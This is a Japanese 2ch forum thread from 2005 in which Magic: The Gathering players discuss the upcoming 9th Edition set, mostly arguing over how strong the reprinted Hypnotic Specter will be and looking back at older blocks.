【MTG】最新セット雑談スレ７７７【正確には77th】

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1 ：名無しプレイヤー＠手札いっぱい。：
1000まで行ったら誰か立てろよ。

マジックの新しいセット（基本セットやエキスパンション）について
（；´Д｀）ﾊｧﾊｧ　 ( ﾟДﾟ)ｺﾞﾙｧ!　 （・∀・）ﾈﾏﾀ!! 　しつつ雑談するスレッド。

【MTG】最新セット(神河/9th etc)雑談スレ76th
http://game9.2ch.net/test/read.cgi/tcg/1118303255/

とりあえず今は
第９版(2005/7/29)
について語りましょう。（どうせ９版だけで１スレ使い切るだろ）

関連スレは>>2-10くらい
2 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 02:36:11 ID:7YODlBhH
おつおつ
建てようとしてリロードしたら建ってたｗ
3 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 02:38:14 ID:aAf9nLPg
乙、いきなり誘導も無く1000行っててびびった
4 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 02:38:32 ID:rDMG+FYw
【各色スレ】

【MTG】　白スレその２　【栄光の賛歌】
http://game9.2ch.net/test/read.cgi/tcg/1112010335/l50

【ＭＴＧ】青スレ　Part6　【存続？】
http://game9.2ch.net/test/read.cgi/tcg/1117020571/l50

【ＭＴＧ】黒スレ 其の七
http://game9.2ch.net/test/read.cgi/tcg/1118744245/l50

【MTG】赤使いの語り場　その４
http://game9.2ch.net/test/read.cgi/tcg/1108119680/l50
【MTG】赤使い討論総合　Rigel5
http://game9.2ch.net/test/read.cgi/tcg/1119542014/l50

【MTG】緑スレ【ぱーと３】
http://game9.2ch.net/test/read.cgi/tcg/1114186772/l50
5 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 02:38:56 ID:rDMG+FYw
テンプレ更新中。。。
6 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 02:42:30 ID:rDMG+FYw
これだけでいいや

【質問】

【MTG】のくだらねぇ質問はここに書け！part45
http://game9.2ch.net/test/read.cgi/tcg/1119054733/l50

【フォーマット】

【MTG】スタンダード情報スレ その35
http://game9.2ch.net/test/read.cgi/tcg/1117238491/l50

MtG 実戦情報（ブロック構築）2nd Edition
http://game9.2ch.net/test/read.cgi/tcg/1061657797/l50

MTG最新情報(Extended) 9th Edition
http://game9.2ch.net/test/read.cgi/tcg/1114758597/l50

【MTG】レガシー専門スレ【Legacy】
http://game9.2ch.net/test/read.cgi/tcg/1111813647/l50

【MTG】ヴィンテージ＆レガシー　その5
http://game9.2ch.net/test/read.cgi/tcg/1114028963/l50

【MTG】ドラフト戦術論　11th【リミテッド】
http://game9.2ch.net/test/read.cgi/tcg/1117956887/l50
7 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 02:44:08 ID:3SI24BPe
ああ、痔が
8 ：臣下の義務 ◆u0DM9.lOJQ ：2005/06/28(火) 03:09:35 ID:kyJaNq5J
新スレおつ
あと８ツ尾半げとー
9 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 03:13:24 ID:5d408cRJ
>>1
乙かれ

レオニンの空狩人再録が、地味にありがたく思う今日この頃。
10 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 03:20:01 ID:7YODlBhH
空狩人はウィニーとしては極上の部類なんだが
11 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 03:24:07 ID:5d408cRJ
いや、てっきり弾かれると思ったからさ…
12 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 05:26:35 ID:zNjg7umJ
比率的に桜族の長老の入ったデッキも増えるだろうしね。
下で止められないことはすごく重要。
13 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 07:01:01 ID:HBu4T2J7
あぁこれ次スレなのか
14 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 11:54:49 ID:Pay5P3NW
５ｔｈまでの遊んでたけど、最近また少し興味が湧いた
神河とか面白そうなんだけど人気ないの？
15 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 12:02:53 ID:Ha69u/05
前スレで出てた「北都南」って何？
北と南の木霊と何か関係あるん？
16 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 12:08:24 ID:U+PkPX6+
>>15
声優の名前だから気にするな。ググるな。
17 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 13:17:11 ID:z1ZsrsqY
ウルトラマンAかと思った
18 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 14:12:58 ID:WLHjXba0
今日は新しい情報は無いのかしら…
19 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 18:28:37 ID:Rob7h76v
>>15
　人気が無いということは無い。ドラフトも楽しめるし、バランスも取れているし。
ただミラディンブロックに比べカードパワーが低い為話題に出にくいだけ。さながらウルザブロックの後に出たマスクスブロック
20 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 18:30:51 ID:JJUwxG29
俺はマスクスや神河くらいでちょうどいいと思うけどなぁ…
マスクス+インベンジョンの頃が、燻し銀のカード+あからさまに強いカードって感じで好きだったよ。

ラヴニカにも期待したいな。

でもそうすると「神河ｲﾗﾈ」ってことになるやも…
21 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 18:33:51 ID:rDMG+FYw
なんでみんなマスクスブロックのカードパワーが低いと思うのかなあ？
個人的にはけっこう高くて面白かったのに。
むしろその前が高すぎた感じ。
22 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 19:24:40 ID:gWxtQ+dS
>>21
プロヘシーがひどかったからじゃない？
23 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 20:09:20 ID:DL8RaZ50
ウルザブロックが強過ぎたらから
24 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 20:13:48 ID:sXsxZQX0
マスクスから入った自分としてはマスクス＝弱いってイメージがないんだよなぁ。
確かにコモンカードとか見ると明らかに使えないカード多かったけど
それ以上にそのあとに出たインベイジョンのマルチカラーがすごい衝撃的だった。
ラヴニカもマルチになるのかなぁ。
25 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 20:15:37 ID:fhvB9zbz
プロフェシーってエクテン、レガシー、ビンテージどれでも良いから使われているカードあるん？
多分無いよね・・・
26 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 20:17:11 ID:tRBAfF75
正直《獅子将マギータ／Mageta the Lion》と《キマイラ像／Chimeric Idol》と各種風くらいしか記憶にない
27 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 20:19:23 ID:gcdTss6s
この辺はどうかな

Foil / 撃退
Spiketail Hatchling / トゲ尾の雛
Spore Frog / 胞子カエル
28 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 20:52:33 ID:GM3jQoU6
>>27
その下に行くほど微妙になってくカード選択はなんなんだ(w
フルタップをメリットとするカードは好きだったけどね
無理矢理マナバーンしたのも今ではいい思い出だわ
29 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 20:52:47 ID:Md3Hg+52
万力鎖のイラストで十手をへし折ってたら最高だったのに…
30 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 20:59:09 ID:GSRURKy9
マスクスはアーティファクトが実は面白いのが揃ってると思う。
どれもこれも重かったのが残念。
31 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:02:29 ID:JCyMejBL
市長の笏とか最高っしょ。もっとみんな使うといいと思うよ。俺は遠慮するけど。
32 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:03:55 ID:aLcYtaXE
俺の中ではインベイジョンブロックが神。
激怒、オアリム、盾持ち等の強力なカードに
敵対ダメランにドラゴンレジェンド！！
あれ以上のはないな
33 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:10:41 ID:KQyzVG1c
>>27
胞子カエルをATSで使ってる人がここに
http://diarynote.jp/d/58211/20050311.html
34 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:11:05 ID:KQyzVG1c
>>28だったorz
35 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:13:49 ID:HJVARjWS
ラノワールのエルフとボトルノーム！ｷﾀｺﾚ！
36 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:16:37 ID:aLcYtaXE
極楽鳥・・・・・・
37 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:18:26 ID:HJVARjWS
暗黒の儀式はまだかぁぁぁぁ
38 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:21:14 ID:aLcYtaXE
>>37
それは洒落にならんぞ
39 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:24:07 ID:JJUwxG29
>>33
実際胞子カエルは強いしね。
サイド後は墓地対策+起動型能力対策が決まってどうにもならないことがあるけれど、
クリーチャーダメージに頼ったデッキだと
胞子カエル+起源で完封されかねない。

白でもおんなじの出たけれど、これからも胞子カエルの方が使われていくような気がする。
40 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:47:44 ID:aLcYtaXE
惑乱の死霊ってマジではいるのかな・・・・・・・・・
やばすぎだろ
41 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:52:37 ID:XNascgGG
儀式がなきゃ適正じゃねーの？
モックス二個から出す奴ぁいないだろうし。
42 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:54:28 ID:T/b73/Rc
ヒッピー来たんだから解呪とゲドン復活しようぜ
43 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:57:18 ID:gR648DvY
だから何度も言わせるなって


　リ　チ　ュ　ア　ルの　な　い　ヒ　ッ　ピ　ー　は　ゲ　ド　ン　の　な　い　ア　ー　ニ　ー


言い換えると紙
44 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 21:59:21 ID:T/b73/Rc
>>43
別に１ターン目に出なくても十分強えよ……
45 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:01:00 ID:gR648DvY
速いデッキなら４ターン目には手札ダンプしちゃってるし、遅いデッキなら対処できないわけがない
46 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:01:59 ID:63JtN0RR
逆に言うと、対処できなければ勝ちな訳で
47 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:02:37 ID:gR648DvY
対処できなきゃ勝ちなら４マナ4/4、例えばデレローで十分
48 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:05:09 ID:c9jn26+k
moxの無い時のスリスと同じレベルでしょ？
それ以上でもそれ以下でもないよ。
49 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:07:56 ID:rDMG+FYw
３マナ2/2フライヤー＋能力

これだけで充分強い
50 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:11:31 ID:gR648DvY
５マナ4/4フライヤー＋能力

これだけで十分強い


って何年か前に聞きました
51 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:20:53 ID:f14J7P5O
２マナ2/2フライヤー

これだけで十分強い
52 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:22:27 ID:Obc4Q9jB
青は送還も落ちるわけで、先攻２ターン目ヒッピーとかどうするのか気になるのだが
53 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:23:21 ID:z9y87Fw2
ヒッピーは環境による。
54 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:23:49 ID:63JtN0RR
>>47
デレローと死霊を比べるのもナンセンスだが、危険度のレベルが違う
デレローは対処できなくても失うのはライフだけだが、死霊は今後の展開に大きく影響する
死霊に対抗できる重めの除去を手札から落とされたり、土地を落とされて後の展開が先細りになったり
２～３回殴った後で除去できたとしても手遅れになるケースが多々あるのだよ
55 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:24:35 ID:kOEKotTR
儀式のない今の時代ならバランスのとれた優良クリーチャーだと思う。
1ターン目に出ることはほぼないだろうからソープロがなくても容
易に除去できるだろうし。

現環境なら騒ぐほどやばいもんじゃない。

あとセラ天やアーニーより使いやすいと思う。
56 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:29:17 ID:rDMG+FYw
まあ、ミラディン落ちた後の話だろうな。
今の環境は黒自体が死んでるし。
57 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:33:37 ID:vuXj0RUc
一定周期でヒッピーに異様にびびる奴が出てくるな。
使ったことあんのか？

対処できなかったら負けっていうけど、
今のクリーチャーパワーなら放置してもダメージレースで楽勝できる可能性も高いだろ。
58 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:34:21 ID:Ssl8o9dz
深淵の死霊でもバランスがとれていた方だと思うぞ。
青にも３マナのカササギが出るなら別だが。
59 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:38:09 ID:gR648DvY
セラ天と同じで名前と伝説だけが一人歩きしている感があるな＞ヒッピー
60 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:38:33 ID:XRszAQhs
スタンの話をしていたのか(´･ω･｀)。
61 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:43:38 ID:IOVQX8Hi
儀式は無いがモックスあるじゃねーか。
このタッグを組めるのは非常に短い期間だが。
62 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:43:44 ID:q8dnyDwf
優秀なクリーチャーなのは間違いない
紙なんて言ってる奴のが過剰反応
63 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:47:47 ID:HBu4T2J7
セラ天とは全然違うだろ

セラ天はもはや時代遅れ
ヒッピーは単純におかしい
64 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:52:55 ID:vuXj0RUc
2ターン目に出せればいい程度の期待の為にモックス入れても、
初手でヒッピー引かなかったら結構つらいぞ。
理想の初手でも、ショック、紅蓮地獄、黒・白群れなどで簡単に除去られる。

使ったことある人間なら解ると思うが、
中盤引いたらただの3マナ2/2でしかない事も多い。
やばさなら十手の方がはるかに上だな。
65 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 22:56:55 ID:fhNPb28b
さてこの論争が発売後でどうかわるかｗ
66 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 23:03:01 ID:gR648DvY
優秀なクリーチャーと使われるクリーチャーは別ですよ、っと
67 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 23:08:57 ID:Rob7h76v
>>66
　浸透者とかな。アレは同時期に犬が無ければえらかった
68 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 23:35:44 ID:63JtN0RR
セラ天の再録時も火炎舌、ワームの咆哮、賛美されし天使とか環境が原因で使われなかったという一面もある
69 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 23:36:02 ID:rbP0hT6O
畏怖が飛行だったらなあ
まあ、インベ落ちの前はタンカヴの的だが
70 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 23:41:49 ID:SMDiBbgB
とりあえずヒッピー出すのは早ければ早いほど強いけど
装備品のある現時点では中盤に出しても十分強いと思う。
4/4プロ赤青飛行のヒッピーなんか除去しにくいったらありゃしないし

ヒッピー自体強いけど除去られやすいのは事実だから
いかに除去されないように使っていくかが肝でしょ。
71 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 23:49:42 ID:rDMG+FYw
まあ待てよ。とりあえずヒッピーは使えると仮定しておこう。



で、ヒッピーをどんなデッキで使うんだ？
もちろん現在のスタンダードで通用するデッキでだぞ
72 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 23:50:47 ID:GvDlJBx6
モックスが落ちると極楽鳥が入る

あと中盤に引いたら2マナ1/1でしかないスリスも使われてるわけだが
73 ：名無しプレイヤー＠手札いっぱい。：2005/06/28(火) 23:53:26 ID:63JtN0RR
>>71
現行だと、鼠絡みしか思いつかない・・・
74 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 00:00:40 ID:t7kUlQDq
対コントロールのサイドにしたって、アタックする前に落とされそうだしな。
現スタンじゃ厳しそうだな。
75 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 00:10:36 ID:T6ZsbBOR
>>71
普通にデスクラじゃないの？ すき込み落ちるし
76 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 00:10:44 ID:vDFPn+O3
>>72
スリスは最速で20点削りきる事が目的なんだからヒッピーと同列で語るのはおかしい。
赤の場合モックスは爆片破のタネにも使えるからな。
大体極楽鳥使ってまでヒッピー入れるデッキなんかほとんど見た事ないぞ。
77 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 00:31:38 ID:wAgT8/96
>>75
デスクラなんてもういないが
78 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 00:34:02 ID:KDR7SQzI
>>76
見た事無いなんてそらそうだ、黒単で十分な時代だもの。
いつからの再録か考えればそんな発言こそおかしい。
是非云々以前。
79 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 00:35:46 ID:T6ZsbBOR
>>77
いるよ
80 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 00:39:45 ID:vDFPn+O3
>>78
72でモックスが消えても極楽鳥がいるから
ヒッピー怖いって言ってるのがいるからそう書いただけだ。
極楽鳥入れるタイプならヒッピーの入る枠なんてまずない。
81 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 00:48:06 ID:FI60oqOR
何でみんな喧嘩腰なの？
そんなに惑乱が待ち遠しいの？
82 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 00:59:11 ID:KDR7SQzI
>>81
なんかわらえる

モックスが消える頃には新しいカードが何百枚と入ってくるって
そんな環境の想像なんて不毛、やたら断言気味に言及する奴は考えろ
83 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 01:04:25 ID:T6ZsbBOR
>>80
理由の説明になってないじゃん。

>極楽鳥入れるタイプならヒッピーの入る枠なんてまずない。
これも詳しく説明してくれ
84 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 01:08:13 ID:7WQ7jQJO
淫乱の死霊マギゴッゴ
85 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 01:21:06 ID:LL7Lr70G
ヒッピーの強さは無造作に捨てさせる点にある。これが初心者にはなかなか難しい。
86 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 01:27:25 ID:7WQ7jQJO
ああ無造作に捨てるのは難しいな
87 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 01:29:39 ID:z1up6xKG
choose and discard と　discard at random には天と地の開きがあるね
ヒッピーがやばいのはそこよ
88 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 01:33:33 ID:Nn8HgIph
だからブレイジングスペクターが復活してればよかったんだよ
89 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 01:35:13 ID:6zHaVbNr
解禁と同時に禁止だったりして。
90 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 01:39:03 ID:wAgT8/96
９月１日発行　禁止・制限カードリスト
・スタンダード
５枚制限
-平地
-島
-沼
-山
-森
91 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 01:39:55 ID:Vmu2EgBW
ヒッピーは手札メインのコントロールデッキを速やかに崩壊させる
そこがセラやアーナムとの違い
セラに２発殴られてもパミは立て直せるが、ヒッピーに２発殴られると大抵なにかやばいものが落ちる
そのあと除去っても手遅れだったりする
92 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 01:42:22 ID:Vmu2EgBW
つうか
黒ければ４枚入るというパターンは変わらないと思われ
下手な３マナハンデス入れるより汎用性は遥かに高い
なんせ飛んでて殴れる
93 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 02:13:46 ID:H1kq+0k1
このスレ保存しとくとおもろいだろうな
94 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 02:30:19 ID:xyNFJo8l
>>90
黒単の土地構成
5沼
4硫黄泉
4コイロスの洞窟
4ラノワールの荒原
4地底の大河
2死の溜まる地、死蔵
2流砂

こうですか？わかりません！！
95 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 02:56:17 ID:va5o/3Vc
>>94
個人的には《烏羅未の墳墓》も捨て難い。
96 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 03:00:25 ID:p4jpPXTq
ラヴニカ・ブロックに基本地形が収録されなかったら逆に面白いよな。ブロック構築。
ただし、リミテッドが死ぬが。
97 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 03:08:50 ID:Nn8HgIph
デュエルマスターズのように、すべてのカードが土地として扱えれば面白いんだけどな。

デュエルマスターズでその逆とかあったら面白いんだろうけどな。
マナとして扱えないカードがあるセットみたいなのがあって。
98 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 05:49:15 ID:JxtZdGXk
かつてヒッピーが蛇蝎の如く嫌われたのは《Hymn to Tourach》とのある種のシナジーが
対戦相手の精神をハンパじゃなく蝕んだのが所以だと思う。
上手く回った場合、
1Ｔ：儀式 → ヒッピー
2T：ヒム → ヒッピーパンチ
これで一気に３枚ランダムに落とされるわけで、対戦相手は壊滅的なダメージを受ける。
一度喰らえば間違いなくトラウマ。かく言う俺も当時、奴の顔は見るのもイヤだった。

ヒッピー弱いとは言わないが、ヒムの無い環境で果たしてそこまで強いだろうか？
たとえ儀式があってもメタレベルでの話になれば実はそれ程でもないんじゃ、とちょっと
過小評価気味だったりもする。

ただ上にも出ている様に、ランダムは流石にえげつないよなぁとも思ってたり…
99 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 06:42:11 ID:aQB51yG9
別にﾋﾑにこだわらなくても､困窮とかで十分じゃね
100 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 06:56:07 ID:pNJOnvTc
そんな事より１よ、ちょいと聞いてくれよ。スレとあんま関係ないけどさ。
昨日、近所のカードショップ行ったんです。カードショップ。
そしたらなんか９版に流砂再録とか騒いでるんです。
で、よく見たらなんか垂幕下がっててヒッピー再録か？とか書いてあるんです。
もうね、アホかと。馬鹿かと。
お前らな、ヒッピー如きで普段来てないカードショップに来てんじゃねーよ、ボケが。
ヒッピーだよ、ヒッピー。
なんか親子連れとかもいるし。一家４人でカードショップか。おめでてーな。
よーしパパヒッピーあてちゃうぞー、とか言ってるの。もう見てらんない。
お前らな、黒枠のヒッピーやるから帰れと。
ヒッピーってのはな、もっと殺伐としてるべきなんだよ。
１ターン目にダリチューからヒッピーを出されかねない
刺すか刺されるか、そんな雰囲気がいいんじゃねーか。女子供は、すっこんでろ。
カードショップ通の俺から言わせてもらえば今、カードショップ通の間での最新流行はやっぱり、
《ロクソドンの戦槌》、これだね。
基本セットなのに装備品、しかもトランプル。これが通のカード。
パワー＋３でしかも回復、そして再利用可能。これ最強。
しかし構築ではまったく使えない、諸刃の剣。
素人にはお薦め出来ない。
まあお前らド素人は、《甲鱗のワーム》でも使ってなさいってこった。
101 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 07:11:23 ID:Vmu2EgBW
十手や赤青剣を持ったヒッピー
102 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 07:56:30 ID:IVoot0KV
いっそヒッピーにロクソドンの戦槌を。
103 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 08:56:55 ID:LwX95gdF
一昔前ヒッピーを現役で使っていた身としては活躍すると信じたい。
それより俺は流砂のほうが実はヤバイんじゃないかと思う
104 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 09:59:16 ID:yJ/SvxLj
流砂レアなら1K超え安定だったろうにどうしてアンコかなぁ。。。
105 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 10:04:38 ID:Y8I/mY4q
アンコでも一部ショップじゃ1k越えするでしょ。

マジック全盛期の頃なら。
106 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 10:53:07 ID:3jtRJfjD
ないない
優良な小セットのビジョンのアンコの時点で大量に出回ってる
107 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 10:57:47 ID:6/841/Jq
流砂かー…
メタ次第ではウンコになりそうではある
強くてもまあ針で止めるほどではないな
108 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 11:04:40 ID:3jtRJfjD
自分の発言がﾜｹﾜｶﾗﾝorz
109 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 12:44:26 ID:0AP+Qahp
モックス→すね当て
110 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 12:47:06 ID:XsqSgQTB
結局相性のいいデッキが産まれるかどうかだね
111 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 12:48:54 ID:lcOX7D1b
何度も言われてるけどヒッピーの強さは儀式あってこそだったと思うんだよなあ
3ターン目に出てくる分にはカウンター、除去、ブロッカー、手札ダンプ等大抵何かしらの対処は出来るだろう
そう考えるとヒッピーが一番活躍するのは黒単同士のミラーマッチのような気がしてきた
112 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 13:10:58 ID:KuUQLBr1
ヒッピーって戦闘ダメージじゃなくてもいいから、
赤青剣が装備されると酷いことになる
113 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 14:02:54 ID:eex3YA+c
ヒッピーが来てもすぐ目の前にラヴニカが迫ってるぜ。
スタンならモックスからの2ターン目や剣のついたヒッピーなんて2ヶ月そこらしか使えないよぉ。

で、その2ヶ月の間にスタンの大きな大会って何があるの？
114 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 14:06:17 ID:Y8I/mY4q
何を勝ち誇ったように。うぜー。
そんなことみんなわかってるつーの。
いまあるカードで色々話すのが楽しいんじゃねーか。
115 ：ﾈﾀ蒔き時 ◆tTGMucKV2I ：2005/06/29(水) 14:42:34 ID:dbIIxKzV
ヒッピーはさすがに他の再録組とは一線を画してると思うな。
使われるかどうかは黒いデッキの強さ次第なんでなんとも言えないけど
黒いデッキならばかなりの高確率で投入されると思う。

ただ昔ほど圧倒的な制圧力を持っているかと言われれば疑問。
暗黒の儀式不在もさることながらゲームスピードの変化やクリーチャーの
質が全体的に向上してるのも要因の一つになるだろうね。
116 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 14:47:08 ID:ZADLAiUL
セラ天緑人の時みたいなループ議論だな

セラ天といえば…おーばーぱわ～だぁバランス壊れる～とか
のレスがとあるサイトで発言されてたんだよな
117 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 14:48:37 ID:IHLjgrle
うちの近所のカード屋、２年前からずっとダメラン１０種を１２００円で売り続けてたけど
あそこはつまり、先見の明があったってことだな。
118 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 14:49:44 ID:cOAK1R+z
…それはちょっと違うような
119 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 14:50:20 ID:ZADLAiUL
いつか採録されることを信じてた奴が勝ち
120 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 16:11:36 ID:ZhVZlx6n
ヒッピーは黒ビートが流行れば入るんジャマイカ？
一応黒の低マナ域クリーチャーもまともな奴らがいるし。
121 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 17:55:20 ID:wAgT8/96
お前ら論点を間違えすぎ
いくらカードが強くても、使えるデッキがなければ意味がないんだぞ
122 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 18:27:09 ID:Hw6VdoVh
>>121
スレ読み直せ
123 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 18:28:32 ID:B5a4QIPx
ヒッピーがヤバイとか言ってるのは頭の固い思考停止人間。
こんなタフネス2のクリーチャー除去できないようならどのクリーチャーデッキにも勝てないから。
124 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 18:39:19 ID:0FK80Gn3
ようし、じゃあここでヒッピーを活かせるデッキを考えようじゃないか
125 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 18:42:03 ID:7MA1sHNm
>>113
世界選手権で剣持ったヒッピーを楽しみに待つか？
126 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 18:43:04 ID:7WQ7jQJO
十手ついたヒッピーなら強いんじゃないかな
127 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 19:06:46 ID:H/Nd1h1O
十ピー　77.8
128 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 19:08:33 ID:aZOtGDIX
火氷剣が付いたヒッピーは確かに強そうだが､マナコスト的にかみ合ってないな。
129 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 19:09:11 ID:6V+Y9b5H
スタンダードで白黒ヒッピーゲドンが使える日、来ますかね。
130 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 19:45:00 ID:pNJOnvTc
絶対来ない
131 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 19:49:20 ID:+VLzAYlX
荒廃の思考で赤黒で作ったら？キー重いか
132 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 19:58:52 ID:aZOtGDIX
ゲドンはマナを封じて擬似的な手札破壊状況を作り出す呪文なのに､そこからさらに手札破壊してどうする。
133 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 20:02:15 ID:ZADLAiUL
相手の手札減らして土地破壊数も減らすのか

どっちもやると中途半端だな
134 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 20:15:45 ID:Ythlui9V
空虚自身で自分の手札減らして、荒廃の思考で土地を破壊すればいいじゃないか。
135 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 20:42:21 ID:ruzyPPFd
かつてあったネクロDISKは土地と手札の両方を攻撃する恐ろしいデッキだった。
これ相手に負けるときはこっちの場と手札が空になるんだよな。
136 ：名無しプレイヤー＠手札いっぱい。：2005/06/29(水) 20:49:09 ID:OjUBiOv0
死の雲や悪疫も手札と土地を攻めるデッキ（カード）だな。
